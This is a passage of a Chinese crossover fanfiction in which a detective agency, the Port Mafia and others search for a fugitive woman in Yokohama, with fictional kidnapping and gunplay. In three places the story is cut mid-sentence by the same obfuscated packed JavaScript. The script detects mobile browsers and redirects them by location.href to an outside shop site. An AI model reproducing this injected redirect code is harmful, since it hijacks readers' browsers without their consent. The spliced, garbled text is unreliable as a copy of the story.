这是一个有着强大内心与坚定信念,且仍保持着善良品格的少年。 他向前一步,沉声回答:“在下福泽谕吉,受人之托,寻找淡岛女士的下落。看来你已经知晓其所在,请允许在下与你同行。” 面对陌生人,夜刀神狗郎还是保持了几分警惕,他试图隐瞒:“我并不认识你所说之人,你们找错人了。” 他的反驳并没有奏效,对面那个神色十分不耐烦的少年双手叉腰,不满地大声说:“骗人!这个世界上没有什么事情能骗过名侦探!你刚刚就在和淡岛夫人通电话吧?” 夜刀神狗郎的神色立刻阴沉了几分:“你们监视我?” 早已听闻横滨是一处凶险混乱之地,没想到他刚出车站就被盯上了。这些人有什么目的?不能把他们带过去,要在这里开打吗? “喂喂!你这个人能不能不要总想着用暴力解决问题?我们到底哪里像坏人了?给你打电话叫你来接人的人,难道没有告诉你你的同伴都做了些什么事吗?”江户川乱步最烦这些武力派,一言不合就动手。 但是没办法,谁叫大家都是婴儿呢?只能由乱步大人为他们解惑了! “你的同伴劫走了淡岛夫人,她们两人面对着市警的追捕东躲西藏,现在还处于失联状态。我们是接受了淡岛夫人女儿的委托寻找她的踪迹,名侦探推断出你会联系她们,才在这里等你的。” 听了他的解释,夜刀神狗郎稍微回忆了一下。这么说来,宗相礼司在电话中确实说过这件事。 “你们又如何证明,你们不是追捕她们的人?”并不了解横滨的势力分布,夜刀神狗郎也不能判断这两人的立场。 福泽谕吉按住想要发表一些挑衅言论的江户川乱步,对黑衣少年提议,“请给你的同伴打个电话,我会和淡岛女士沟通此事。” 猫领着淡岛青理在市中心又跑了一圈,把市警和伪装成市警的星野会成员溜得团团转,然后来到了约定的公园。 附近的巡警都被引走了,两人坐在滑梯上一起悠闲地看月亮。 这时猫又接到了夜刀神狗郎的电话,她犹豫许久接起了电话,然后抢在夜刀神狗郎开口前语速飞快地道了歉。 “吾辈知道错了,吾辈不该离家出走,不该说小黑坏话。但是能不能不要训吾辈?小青已经说过吾辈了……”猫耷拉着脑袋,不安地用手指在地面画圈圈。 电话那端的夜刀神狗郎没想到会听到这样一句话,沉默片刻,再开口声音微不可察地轻了几分:“我知道了,我原谅猫了。” “真的吗!”猫一下子恢复了元气。 她又对着手机说了几句话,然后听着那边的动静不停地点头,最后终于把手机递给了淡岛青理。 “小青,找你的!” 淡岛青理早有预料般接过手机,听到电话那边男人的阐述后,开心地说:“原来如此,在车站等待夜刀神先生吗?不愧是名侦探!请跟随夜刀神先生过来吧。” 挂断电话后,她对上了猫闪亮亮的眼睛。 “是谁啊?小青。”猫的眼神中充满好奇。 “嗯……”淡岛青理手指抵着脸颊,只是略微思索就回答道,“是世界第一的名侦探。” “名侦探?”猫瞪圆了眼睛,猛地凑近,“那他能知道小白的下落吗?” “说不定可以呢?” “真的吗?那吾辈也要见名侦探!” —— 当夜刀神狗郎带着福泽谕吉和江户川乱步赶到时,天色已经完全黑了。 公园旁仅有的一杆路灯亮着,照亮一片不大不小的绿地。 夜刀神狗郎四下张望,没有看到猫的身影。 一阵悉悉窣窣地声响传来,淡岛青理的身影慢慢从黑暗中浮现。 她抱着怀中沉睡的少女走到路灯下,面上带着肉眼可见的欣喜:“这种情况下真高兴能见到你们,希望我现在的仪容不算失礼。” 又经过半日奔波,她原本重新盘起的头发再次散开了,身上的和服也不再规整。好在此时没有人会对一位落难女士的仪容做出苛刻的要求。 夜刀神狗郎单膝跪地,弯腰行了个大礼:“多谢您的关照,猫给您添麻烦了。” 已经从两位随行者口中得知事情的经过,夜刀神狗郎难免感觉到后怕。猫的行为太过莽撞,如果那位少年侦探没有及时阻拦,异能特务科怕是会出动军警,猫可不是那些人形战斗兵器的对手。 “别这么说,夜刀神先生,猫可是从坏人手中把我救了下来,是我的救命恩人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16017867|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”淡岛青理脸上写满了对猫的感激,“如果不是猫出现,我还不知道该如何是好呢。” 江户川乱步扭过头,露出了一个一言难尽的表情。大人,真是虚伪。 随即,身穿和服的女人偏头望了过来,他立刻闪身躲到福泽谕吉身后。 淡岛青理:“当然还要谢谢武装侦探社的两位,感谢两位的帮助,莉帕也承蒙各位照顾了。” 福泽谕吉面色严肃:“哪里,受人之托,自当尽力而为。” 再次面对这位女士,福泽谕吉却没有了上次的幻觉,无论他如何观察,对面似乎都只是一位柔弱的女性。他不得其解,于是把这件事记在了心里。 既然夜刀神狗郎已经到了,淡岛青理就让他带着猫回东京,横滨并不适合猫。 “时间太晚,猫已经睡着了,你带她回去吧。”淡岛青理将猫交到夜刀神狗郎怀中。 终于找到了离家出走的孩子,夜刀神狗郎本应尽快离开此地,毕竟异能特务科可不会放任王权氏族在横滨的土地上逗留。 但他还是问道:“或许有些冒昧,不知您遇到了什么困难?是否需要在下帮忙?” 淡岛青理神色微怔,再开口时语气柔和了几分,“很温柔呢,狗郎君。” 这让她都不好意思打白银之王的主意了。 骗人的。 “不过不麻烦狗郎君了,横滨并不安全,早些带着猫回去吧。武装侦探社的各位会帮我的。” 夜刀神狗郎见状并没有坚持,他相信淡岛女士能解决麻烦:“那么就此别过,再次感谢您的帮助。” “哦对了,请稍等一下。”淡岛青理叫住了转身离开的夜刀神狗郎,“猫有件事情,想请问世界第一的名侦探大人。” 被点名的江户川乱步慢慢从福泽谕吉身后探出头,抬手一指自己:“我?” “是啊,就是世界第一的名侦探乱步大人。”淡岛青理将这个名号又重复了一遍。 “哼……”江户川乱步眯着眼睛,警惕地望着淡岛青理,面上带着几分犹疑。 在淡岛家初次见面的时候,他被银发萝莉吸引了注意力,没有太关注这个女人。再次相见,他觉得女人给他的感觉很不舒服。 名侦探大人的眼睛能看透一切真相,可是眼前的女人太复杂,像是被无数秘密层层包裹,永远也看不见真实的她。 不管是那个黑发绷带少年还是银发矮小萝莉,都没有眼前的女人带给他的违和感强烈。 但最终,他还是小心翼翼地挪动脚步从社长身后走了出来。 “好吧,有什么问题就问吧,乱步大人会看情况回答你的。”他将一个黑框眼睛戴在脸上,一手扶着镜框,蓄势待发。 淡岛青理轻笑了一声。 名侦探对谎言深信不疑,每次推理前都摆pose的样子真的挺可爱的。 “请问,”她笑看着少年,深灰色的双眼好似漩涡,“白银之王阿道夫·K·威兹曼,现在所在何处?” 60.第 60 章 “白银之王阿道夫·K·威兹曼,现在所在何处?” 淡岛青理话音未落,黑色长发的少年抱着猫猛地一转身。他的目光中带着惊讶与犹疑,怀疑是自己听错了。 白银之王?什么意思?这个少年知道小白在哪里?! “……小黑?”因为他动作幅度太大,猫在他怀中迷迷糊糊地睁开了眼。 少年侦探没有回答,他慢慢睁开了那双锐利的眼瞳,翡翠一般碧绿的眼瞳直视着路灯下身穿和服的女人。 福泽谕吉很少看见他这般严肃的表情。 “这个问题是她想问的,还是你想问的?” 女人笑容不变:“猫想问的,就是我想问的。” 夜刀神狗朗刚刚缓过神就听到了这句话。 在他的理解中这句话的意思是,因为猫想问,所以她想问。或许淡岛女士和猫的关系比他想象中的更好。 然而江户川乱步并不满意她的答案,他放下扶着眼镜的手,手臂收拢在侦探披风内。 “那么这个问题,我拒绝回答。” 唰—— 黑色的风衣下摆翻飞而起又飘动落下,夜刀神狗朗单膝跪地,对着江户川乱步的方向低头说:“小白乃是吾等的王,亦是吾等的家人。阁下若知道他的下落,烦请告知一二。” 苏醒的猫站在旁边,先是迷茫了一会儿,反应过来后也楚楚可怜地请求:“名侦探大人知道小白的下落吗?求求你,告诉吾辈吧!吾辈把私藏的小鱼干都给你!” 空气一时间变得凝重。 江户川乱步望了一会儿不再言语只是一直微笑的女人,然后将视线转移到面色虔诚的二人身上。 他咬紧牙,脸颊愤愤地鼓起。 笨蛋,大家都是笨蛋,这两个人更是笨蛋中的笨蛋!他们根本不知道那个女人打的是什么主意! 那种事情,那种事情…… 僵持了半晌,他别过头,赌气地说:“我只能说你们的王还活着,安然无恙地居住在某个地方。或许等他想见的时候,自然会来见你们。” “真的?!”猫立刻跳了起来! 夜刀神狗朗则先是瞪大了眼睛,然后慢慢变成轻浅的微笑。 “多谢,这就足够了。” · 武装侦探社里,灯火通明。 没能下班的与谢也晶子坐在接待室内,陪着还未离开的两位委托人喝茶。 “我说,真的就把事情全部交给他们处理吗?”中原中也根本坐不住,在桌子旁来回走动,时不时还要向漆黑的窗外看一眼。 “至少也该让我参与去找青理姐吧?外面那么多市警和黑手党,如果打起来伤到了青理姐怎么办?” 莉帕一头过长的银发被与谢也晶子盘起,她放心地捧着泡芙嗷呜一口,溢出来的奶油粘到了脸颊上。她抽出纸巾擦擦脸,将泡芙咽下。 听到中原中也的话,莉帕淡定地抿了一口咖啡说:“然后呢?‘羊’要和星野会开战吗?” “哈?那当然不……”中原中也停下走动,明白了她话里的意思。 在他看来他只代表自己,可是在旁人眼中他还代表着“羊”。星野会或许会把他的行动当成“羊”的挑衅。 “你说得对,我不能把羊牵扯进来,那些黑手党根本不讲道理,可恶!” 他抓了抓头发,突然感觉哪里不太对。 橘发少年猛地一抬头,瞪圆了蓝宝石一样的眼睛,震惊地说:“你怎么知道?!” “知道你是羊之王?”莉帕接过他的话。 “你平时也没有很低调,为什么觉得我不知道?”莉帕搅拌着咖啡,邪恶一笑,“踩在别人背上的样子很凶哦,中也。” 她仰头,学着中原中也的语调嚣张地说:“你们这些渣滓,滚出羊的领地!若有再犯,百倍奉还!” “呃!” 中原中也眼前一黑,受到了重击般接连向后退了好几步,崩溃地大喊:“你是在哪里看到的啊?!” “擂钵街喽。” “哈?你去擂钵街干什么?!” “要你管。” 眼见橘发少年从头到脚红了个遍,整个人羞耻到快要爆炸,与谢也晶子好心地打圆场:“原来如此,你就是那位羊之王啊。” 她确实听说擂钵街那边有一个由未成年人组成的自卫组织,叫“羊”。据说组织的头领是一位强大的异能力者,被称为“羊之王”。 与谢也晶子将眼前的少年又打量了一番。倒是没想到“羊之王”会是一个被人调侃两句就要羞耻到爆炸的少年,这样的家伙真的能威慑住组织成员吗? 中原中也压抑住那些窘迫的情绪,把头偏向一边:“我不是什么王,只是有张好用的牌罢了。” 接着,他想起什么,赶紧问道:“那青理姐呢?青理姐难道也知道?” 虽然青理姐见过他打架的样子,但至少那次他没说什么奇怪的话啊! 格外在意自己在青理姐心中形象的中原中也羞耻心爆发,因此早早地度过了中二期,开始为自己之前的话尴尬到脚趾扣地。 “这个啊,”在中原中也紧张的目光中,莉帕随意地说,“青理知道——还是不知道呢?” “……那到底是知不知道啊!”中原中也彻底崩溃,不明白莉帕之前明明那么乖巧,为什么突然变得如此顽劣。 恶作剧得逞的莉帕哼着歌,心情颇好。人善被人欺,当然要趁着青理不在好好欺负中也啦。 旁观的与谢也晶子撑着脸颊旁观两人的拌嘴,心想现在的孩子怎么都奇奇怪怪的。 内心尚且稚嫩的少年其实是凶名在外的“羊之王”,外表甜美如洋娃娃般的女孩却有着不输成年人的心智。还有那天那个一身黑衣缠着绷带的家伙…… 那个淡岛夫人都在养些什么人啊?没有正常一点的吗? 桌子上的手机发出“嗡——”的一声震动,打断了与谢也晶子的思路。 她翻看了一下手机,紫色的眼眸带了几分笑意。 “两位,找到淡岛夫人了。” · 夜色已深,明月高悬。 宿舍里只亮了一盏床头灯,暖色的灯光打在伏黑惠的身上,堪堪照亮周围。 在这模糊的灯光中,伏黑惠倚坐在床头,目光似乎落在摊开的书本上。但许久过去,手中的书页迟迟没有翻动。 “叮咚——” 手机发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16023340|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声响动,黑发少年如梦初醒,放下书去拿放在床头柜上的手机。解锁屏幕,却发现只是一封推销邮件。 他沉默了一会儿,退出收件箱返回主界面。 手机是入学之前,淡岛夫人领着他新买的。外壳是幽邃的深蓝色,像他的眼睛一样,落在手中似乎都带着凉意。 手机屏幕在黑暗里泛着光,映在眼底的壁纸是一张有些模糊的旧照片。 那是在八年前的东京,一家刚开业不久的游乐园里拍下的。照片正中央的女人穿了一件桃粉色和服,臂弯里挎着帆布包,手中拿着两杯冰激凌。她神色慌张,似乎有些手忙脚乱。 女人左侧,是被游乐园的小丑吓到的白裙小女孩,她眼眶发红,瘪着嘴死死憋住眼底的泪珠;右侧,是捧着爆辣热狗被辣到怀疑人生的黑发小男孩,他整张脸被辣得通红,眼底也被辣出了眼泪。 拍下这张照片的人当时乐得浑身发抖,手机都没有拿稳,构图也一团糟。 伏黑惠看了一会儿照片,将手机放进口袋,推开宿舍门来到了走廊上。 今天的月光很明亮,从整排窗户大片大片地洒落进来,落在走廊的地板上,形成了一条银色长河。 此时已经是深夜,走廊里一片寂静,只能听见窗外树下的蝉鸣。他踏着银河走过一个个房门紧闭的宿舍,走出宿舍楼。 踏过长长的石板小路,穿过树林,走过鸟居,来到了熟悉的校区。 夜晚的校舍匍匐在月色下,模糊的月光与黑影交融,让原本熟悉的场景添了几分陌生。 空无一人的校舍,给人的感觉与平日里完全不同,月光从木窗格里透过来,将各种物体的影子拉长,像一群鬼怪在张牙舞爪。 绕过不知是被谁摆在这里的地球仪,伏黑惠迈步走上楼梯。 夜蛾正道的校长室在校舍二楼的走廊拐角处,红色的木门紧闭着。 伏黑惠在门前站立了两秒,从口袋里掏出一根黑色的细长发卡,借着月色伸入锁孔中左右转动几下。 然后细微的“咔嗒”声响起,门开了。 夜蛾正道的办公室很大,也很挤,角落里堆积了许多丑得各有特色的玩偶。但除此之外,东西并不多。 伏黑惠走到校长的办公桌前,拉开抽屉,不出片刻就找到了自己想要的东西。 蓝色的眼眸在夜色中显得格外幽深,他缓缓举起手中的东西,对准了窗外的月光—— 圆润的红宝石在月光下变得格外清透,当中贯穿整个宝石的细孔清晰可见。而除此之外,伏黑惠还看见了留在孔洞内的一样东西。 一根格外纤细的,肉眼几乎发现不了的白色纤维。 或许很多人即使看见也意识不到这是什么,所以并不会在意。 但伏黑惠知道。 有一段时间里,因为买到了劣质缝纫线,所以莉帕的玩偶总是开线,他一开始没有意识到问题所在,缝缝补补了许多次,直到把那一卷线用完。 记得最后一次给莉帕的兔子缝眼睛,用的还是那卷线。 月光下,少年倒映着红色宝石的眼底格外冷静。他松开手,原本捏在指尖的红色宝石直直下落,然后在触碰到地面的瞬间被涌动的阴影所吞没。 61.第 61 章 这个夜晚对很多人来说,都格外的漫长。 有人彻夜等待,有人无法入眠,也有人从睡梦中惊醒。 黑暗模糊了人的感官,胜村太郎被绑在椅子上,感受着抵在自己太阳穴上的枪口,不知道时间已经过去了多久。 时间回到不久前,他像往常一样从警局下班后就洗漱早早上床入睡。梦里他坐在堆满屋子的金山上,周围的人都跪在他的脚下听候吩咐。 金钱和权势,他一样都不缺,但是人总想要更多。更多的财富,更高的地位,梦中的一切都让他无比满足,他抓起一把金币向下挥洒,看下面的人为之疯狂。 他坐在顶峰哈哈哈大笑,只觉得畅快极了。 然而突然一阵天旋地转,他从金山上摔落,狠狠砸在地板上。 睁开眼,几名突然出现在他卧室中的黑衣人拽起他的衣领,将他在地面上拖行。 “你们是什么人?!你们想干什么?!”他大惊失色,摆动手脚疯狂挣扎起来,同时大喊大叫试图吸引家中守卫的注意。 然而这一切都是徒劳,黑衣人对他的质问不予理会,一直将他拖行了很远,最后将他甩了出去。 他在地板上滑行了一段距离,然后撞上了一双黑色的皮鞋。 “胜村太郎,横滨本部警署刑事部搜查三课部长。”头顶那人悠悠开口,声音意外的年轻。 黑衣人之前的动作丝毫没有留情,胜村太郎被甩出去的时候是结结实实地砸在地上,浑身的骨头都在疼。 他望着眼前的黑色皮鞋,艰难地仰起头顺着笔直的黑色西装裤向上看去,想看清眼前的是什么人。 然而当他的视线刚触及黑色大衣的衣摆时,头突然被人踩着用力地磕在了地板上,一瞬间他耳朵里就响起了嗡鸣声,然后骤然失去了意识。 再次醒来时,他就像现在这般,额头抵着枪口,被五花大绑地捆在他书房的椅子上。平日里用发胶打理得像模像样的头发此时被汗水打湿,狼狈地贴在头皮上。 从他醒来到现在大概已经过了一个小时,或者更久,他不知道。他大喊大叫过,试图谈判过,一切都毫无作用。站在房间四角的黑衣人和身后拿枪指着他的人就像聋子一样,对他的话没有半点反应。 此时的他已经不指望守卫能来救他了。过去这么久都没反应,大概早已经被解决了。 可恶,这些究竟是什么人?! 胜村太郎将自己的仇人想了个遍,觉得最有可能做出这种事的是最近在和他竞争警视位置的泉警部。 对,一定是他,一定是他想要自己的命! 终于,在胜村太郎焦灼的等待中,房间的门被打开了,之前听到过的少年的声音和皮鞋叩地声一同响起。 “原来如此,是王权氏族啊,看来你们瞒着我的事情还不少呢。不过这下森先生可要失望了。” 来人举着手机走进来,厚重的房门在他身后合上。 “放心,松本小姐那边我已经拦下了,不会让她告诉伏黑君的,但是伏黑君知不知道要看他自己怎么做了。总之,既然人没事,那后面就好办了。” 黑色的皮鞋从阴影里走入月光中,然后是黑色的西裤,黑色大衣,白色衬衫。 一名样貌格外年轻,只有十四五岁的黑发少年出现在胜村太郎眼前。少年脸上缠着绷带,遮住了一只眼睛,另一只鸢色眼瞳正望着他,带着让人毛骨悚然的微笑。 “呦,胜村警部,您醒了。”少年收起手机,抬起缠着绷带的手向椅子上的中年男人打了个招呼,“真是不好意思,我的同伴下手太重让您受惊了。” 胜村太郎咽了口唾沫,尽量维持着平静问:“你们是什么人?是泉乐生那家伙派你们来的是不是?你们被那家伙骗了,我可是星野会的人!只要你们现在放了我,我保证绝不会追究。” 少年似乎恍然大悟:“对哦,我还没有自我介绍。”他脚步轻盈地向前两步,轻轻一跃,嘿咻一声跳上了男人面前的书桌。 少年站在桌子上向下弯腰,身上过长的大衣衣摆垂落,遮住了男人面前的月光。 “我叫太宰治,代表港口黑手党向您问好。” 港口黑手党! 距离前代首领的暴君统治并没有过去太久,这个名字仍然是让人听到就心头一颤的程度。 胜村太郎浑身僵硬,眼前少年那张逆着光的稚嫩脸庞仿佛变成了恐惧的漩涡,让他不敢直视。 他不由自主地想要后退,但四肢被牢牢地绑在椅子上,动弹不得。 “港口黑手党……我们无冤无仇,你们这是做什么?” “无冤无仇?真的吗?”少年在桌子上蹲下身,随意拿起桌子上的一沓文件向上一扔。无数纸张飞散在空中,然后洋洋洒洒地飘落。 他伸手捡起落在身前的那张文件,递到胜村太郎眼前。 ——那是白天刚下发的,那名叫淡岛青理的女人的逮捕文件。 胜村太郎的冷汗唰地流下来了。 他不愿去想最糟糕的可能,嘴角抽动着扯出讨好的笑,挣扎着开口:“您也要找这个人?我们的人还没抓到,如果您要找她的话……” “嘭”的一声枪响,胜村太郎尖叫一声,双腿用力挣扎,连带着椅子摔倒在地。 他看着少年手中还没散尽硝烟气息的枪口,和自己脚边地板上的弹痕,终于抵抗不住恐惧,痛哭流涕起来。 “好歹也混到了警部的位置上,怎么这么胆小啊。” 太宰治看着男人涕泗横流的模样没了兴趣,将手枪一扔从桌子上跳了下来。 “带回去给红叶大姐吧,把知道的关于星野会的事都吐出来。” 四周的黑衣人沉默上前,将男人从地上拖拽起来。 胜村太郎被带回港口黑手党交给了尾崎红叶手下的审讯小队,没过多久就把知道的事情倒了个精光。 论起武力值来,星野会在横滨的非法势力中还排不上号。而他们的宝石走私产业能办得如火如荼,很大程度上要归功于对政府势力的腐蚀。 不止在警署中,横滨的很多其他官员也都被星野会收买了。 现在,这份名单清晰地落在了港口黑手党手里。那么对太宰治来说,能操作的事情可就太多了 容貌艳丽的红发女人从审讯室里走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16028742|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,对等在门边的少年说:“该说的都说了,接下来你想怎么办?” 浑身漆黑的少年回答:“放他回去,先把青理身上的通缉和案子销掉。” 尾崎红叶挑眉:“能行吗?他虽然怂了点,但也不是傻子,他如果撤了通缉,星野会的人肯定是要找他麻烦的。” 太宰治拿着名单,苍白的脸上扯出一个讥讽的笑:“没关系,星野会很快就要自顾不暇了。” · 【港口黑手党。 高跟鞋扣地的声音在走廊里回响,清脆有力。听到这个声音的人都低下了头。 直到脚步声踏入电梯消失不见后,才有人小心翼翼地出声:“她又来了。” 没有人接他的话,大家纷纷眼观鼻鼻观心,各自做自己的事情。 横滨的黑手党,没有人不知道那个女人——乌鸦,大家都这么叫她,恶魔的报丧鸟。 事实上这个称号并不准确,女人更像是一名暴君,所到之处尸横遍野。 或许港口黑手党的人不应该那么畏惧她,因为她并不是嗜杀的人,不会无故出手。而且,现在整个横滨都知道,乌鸦在为港口黑手党做事。 可是只要是见过女人出手的人都没办法不对她产生畏惧。她行事从来没有任何犹豫,无论对手是谁,她平静的眼神就像面对的不是人类,而是没有生命的机器。 港口黑手党的众人只能庆幸她不是他们的敌人。 顶楼,首领办公室的门被推开。 高跟鞋的声音没有丝毫停顿,直到走到首领的办公桌边才停下来。 “叫我来,什么事?”女人问。 坐在成堆的文件后的男人叹了口气,从抽屉里拿出一沓文件递给她。 “前些天运到港口的一批武器被劫了,经过调查是一个外来帮派动的手。对方装备精良,又有异能者坐镇,而我现在实在忙不开,只能请您帮这个忙了。” 女人没有接他手中的文件,灰色的瞳孔无喜无悲:“我并不是你的手下,森鸥外” 女人并没有生气,只是当女人沉默时,她身上阴冷的气息便不自觉地蔓延开来,让人如坐尸山血海。 而男人面不改色:“本来这应该是太宰君的任务,只是他又不知道到哪里去了,我也是实在找不到人手才来请您帮忙。” 男人说着冠冕堂皇的理由,又接着补充:“当然,如果您能找到太宰君并让他好好工作,那就太好了。” 女人静静地望了他一眼,抽出他手里的文件转身离开。 男人在通过少年利用她,女人知道这一点,只是她并不在意。 漫长的生命已然变得黯淡无光,唯闯入她生活的少年让她多了几分兴趣。 ‘因为我们曾经是一类人’ 少年说出这句话时的表情还历历在目,那双鸢色的眼睛闪着不知名的光辉。 一类人吗?既然如此,那就让我看看,你会走向什么样的结局。 合上首领办公室的大门,幽暗的走廊里,迎面走来了穿着一身黑衣的橘发少年。 少年停下脚步扶住帽檐,乖巧地喊了一声:“青理姐。”】